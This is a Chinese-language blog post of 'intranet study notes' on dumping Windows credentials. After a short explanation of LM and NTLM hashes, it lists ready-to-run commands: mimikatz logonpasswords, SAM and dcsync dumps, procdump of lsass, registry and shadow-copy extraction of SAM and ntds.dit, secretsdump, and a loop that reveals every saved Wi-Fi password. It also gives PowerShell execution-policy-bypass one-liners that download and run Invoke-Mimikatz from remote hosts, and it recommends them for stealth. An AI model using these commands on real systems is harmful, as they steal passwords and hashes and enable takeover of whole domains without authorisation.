【内网学习笔记】密码抓取


0、前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。

Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:

username:RID:LM-Hash:NT-Hash

LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。

NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.

在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。

如果用户密码为空密码或者不存储 LM Hash 的话,我们抓到的 LM Hash 就是 AAD3B435B51404EEAAD3B435B51404EE,所以在 Vista 和 Windows Server 2003 之后的系统里抓取到的 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,其实这里的 LM Hash 也没有任何意义了。

也就是说从Windows Vista 和 Windows Server 2008 开始,默认情况下只存储 NTLM Hash,LM Hash 将不再被使用。

下面看下常见的抓取密码的工具。

1、GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

2、PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可。

3、QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

运行以下命令导出用户 Hash

QuarkPwDump.exe --dump-hash-local

4、Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

Import-Module .\Get-PassHashes.ps1
Get-PassHashes

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

5、mimikatz

说到密码抓取,又怎能少得了 mimikatz 呢。

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

或者使用 mimikatz 直接查看明文密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

6、SAM、SYSTEM、SECURITY 文件

导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SECURITY security.hiv

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

Import-Module -name .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITY

除此之外,使用一些漏洞也可以获取到 SAM、SYSTEM、SECURITY 文件,比如 CVE-2021-36934,具体可参考 https://teamssix.com/210725-074847.html

获取 HASH

用 mimikatz 获取

mimikatz.exelsadump::sam /sam:sam.hiv /system:system.hiv

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

用 SAMInside 读取,直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可

7、lsass.dmp 文件

导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

procdump -accepteula -ma lsass.exe lsass.DMP

获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

mimikatz.exesekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full

8、ntds.dit 文件

在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中。

ntds.dit 文件位置:

C:\Windows\NTDS\NTDS.dit

导出 ntds.dit

Ntdsutil 导出 ntds.dit 和 system 文件,并放在 C 盘目录下

Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit

vssadmin 导出 ntds.dit

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
# SAM 等文件也可以使用 vssadmin 导出

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\security.hiv

NinjaCopy 脚本也可以,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"

获取 HASH

NTDSDumpEx 查看 ntds.dit,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt

或者使用 impacket 里的 secretsdump.py 脚本查看 ntds.dit 内容,下载地址:https://github.com/SecureAuthCorp/impacket

python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL

除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域用户所有的账号密码,不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。

直接获取 teamssix 域内所有用户

hashlsadump::dcsync /domain:teamssix.com /all /csv

获取单个用户的详细信息

lsadump::dcsync /domain:teamssix.com /user:administrator

9、WIFI 密码

使用自带命令可直接查询

获取登录过的 WIFI 名称

netsh wlan show profiles

获取某个连接过的 WIFI 密码

netsh wlan show profile name="teamssix" key=clear

获取所有连接过的 WIFI 密码

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

参考文章:

https://forum.butian.net/share/259

https://zhuanlan.zhihu.com/p/220277028

https://y4er.com/post/ntlm-hash-and-lm-hash/

https://blog.csdn.net/qq_41874930/article/details/108141331

https://blog.csdn.net/qq_41874930/article/details/108149449

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录